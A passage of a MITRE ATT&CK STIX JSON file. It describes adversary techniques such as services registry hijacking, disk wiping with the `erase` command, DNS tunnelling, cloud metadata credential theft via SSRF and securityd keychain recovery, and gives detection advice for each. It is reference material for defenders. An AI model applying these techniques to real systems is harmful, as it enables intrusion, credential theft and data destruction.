                    "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"
                },
                {
                    "source_name": "GitHub Raindance",
                    "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
                    "url": "https://github.com/True-Demon/raindance"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:02:13.319Z",
            "name": "Cloud Groups",
            "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",
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                {
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            "x_mitre_contributors": [
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                "Isif Ibrahima, Mandiant"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c",
            "created": "2020-03-13T11:42:14.444Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/011",
                    "external_id": "T1574.011"
                },
                {
                    "source_name": "Tweet Registry Perms Weakness",
                    "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.",
                    "url": "https://x.com/r0wdy_/status/936365549553991680"
                },
                {
                    "source_name": "insecure_reg_perms",
                    "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.",
                    "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
                },
                {
                    "source_name": "Kansa Service related collectors",
                    "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
                    "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
                },
                {
                    "source_name": "malware_hides_service",
                    "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.",
                    "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"
                },
                {
                    "source_name": "Autoruns for Windows",
                    "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
                },
                {
                    "source_name": "Registry Key Security",
                    "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"
                },
                {
                    "source_name": "microsoft_services_registry_tree",
                    "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
                },
                {
                    "source_name": "troj_zegost",
                    "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost"
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            "modified": "2025-04-15T19:58:09.308Z",
            "name": "Services Registry Permissions Weakness",
            "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation: malware_hides_service)",
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                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
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                "Matthew Demaske, Adaptforward"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532",
            "created": "2020-10-02T16:57:45.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/001",
                    "external_id": "T1596.001"
                },
                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
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            "modified": "2025-04-15T22:14:34.882Z",
            "name": "DNS/Passive DNS",
            "description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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                {
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                    "phase_name": "reconnaissance"
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            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9",
            "created": "2020-02-20T15:35:00.025Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1499/003",
                    "external_id": "T1499.003"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
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            "modified": "2025-04-15T21:48:39.804Z",
            "name": "Application Exhaustion Flood",
            "description": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)",
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            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Sensor Health: Host Status",
                "Application Log: Application Log Content"
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            "type": "attack-pattern",
            "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1163",
                    "external_id": "T1163"
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                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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            "x_mitre_detection": "The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.",
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            "type": "attack-pattern",
            "id": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720",
            "created": "2020-03-11T14:13:42.916Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1195/001",
                    "external_id": "T1195.001"
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                {
                    "source_name": "Trendmicro NPM Compromise",
                    "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
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            "modified": "2025-04-15T22:08:13.223Z",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ",
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            "type": "attack-pattern",
            "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421",
            "created": "2020-10-01T02:14:18.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/004",
                    "external_id": "T1588.004"
                },
                {
                    "source_name": "DiginotarCompromise",
                    "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
                    "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
                },
                {
                    "source_name": "Recorded Future Beacon Certificates",
                    "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
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                {
                    "source_name": "Let's Encrypt FAQ",
                    "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.",
                    "url": "https://letsencrypt.org/docs/faq/"
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            "name": "Digital Certificates",
            "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81",
            "created": "2020-10-01T00:40:45.279Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/002",
                    "external_id": "T1583.002"
                },
                {
                    "source_name": "Unit42 DNS Mar 2019",
                    "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/"
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            "modified": "2025-04-15T22:14:14.654Z",
            "name": "DNS Server",
            "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",
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            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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            "type": "attack-pattern",
            "id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967",
            "created": "2020-02-20T22:02:20.372Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1561",
                    "external_id": "T1561"
                },
                {
                    "source_name": "erase_cmd_cisco",
                    "description": "Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
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            "modified": "2025-04-15T19:58:09.974Z",
            "name": "Disk Wipe",
            "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)",
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                    "phase_name": "impact"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "Network Devices"
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            "x_mitre_version": "1.2",
            "x_mitre_impact_type": [
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            "x_mitre_data_sources": [
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                "Drive: Drive Modification",
                "Process: Process Creation"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "created": "2020-03-15T16:27:31.768Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1071/004",
                    "external_id": "T1071.004"
                },
                {
                    "source_name": "Medium DnsTunneling",
                    "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.",
                    "url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                {
                    "source_name": "PAN DNS Tunneling",
                    "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.",
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            "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ",
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                "Chris Heald"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.3",
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            "type": "attack-pattern",
            "id": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3",
            "created": "2020-02-11T18:47:46.619Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1552/005",
                    "external_id": "T1552.005"
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                {
                    "source_name": "AWS Instance Metadata API",
                    "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html"
                },
                {
                    "source_name": "RedLock Instance Metadata API 2018",
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
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                },
                {
                    "source_name": "Krebs Capital One August 2019",
                    "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.",
                    "url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/"
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            "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_data_sources": [
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            "type": "attack-pattern",
            "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
            "created": "2020-02-12T18:56:31.051Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/002",
                    "external_id": "T1555.002"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                },
                {
                    "source_name": "Apple Dev SecurityD",
                    "description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.",
                    "url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html"
                },
                {
                    "source_name": "OS X Keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20130106164109/https://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:05:25.349Z",
            "name": "Securityd Memory",
            "description": "An adversary with root access may gather credentials by reading `securityd`\u2019s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user\u2019s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd` utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b",
            "created": "2021-08-06T13:10:12.916Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1615",
                    "external_id": "T1615"
                },
                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                    "url": "https://adsecurity.org/?p=2716"
                },
                {
                    "source_name": "Microsoft gpresult",
                    "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"
                },
                {
                    "source_name": "Github PowerShell Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "url": "https://github.com/PowerShellEmpire/Empire"
                },
                {
                    "source_name": "TechNet Group Policy Basics",
                    "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:38:54.812Z",
            "name": "Group Policy Discovery",
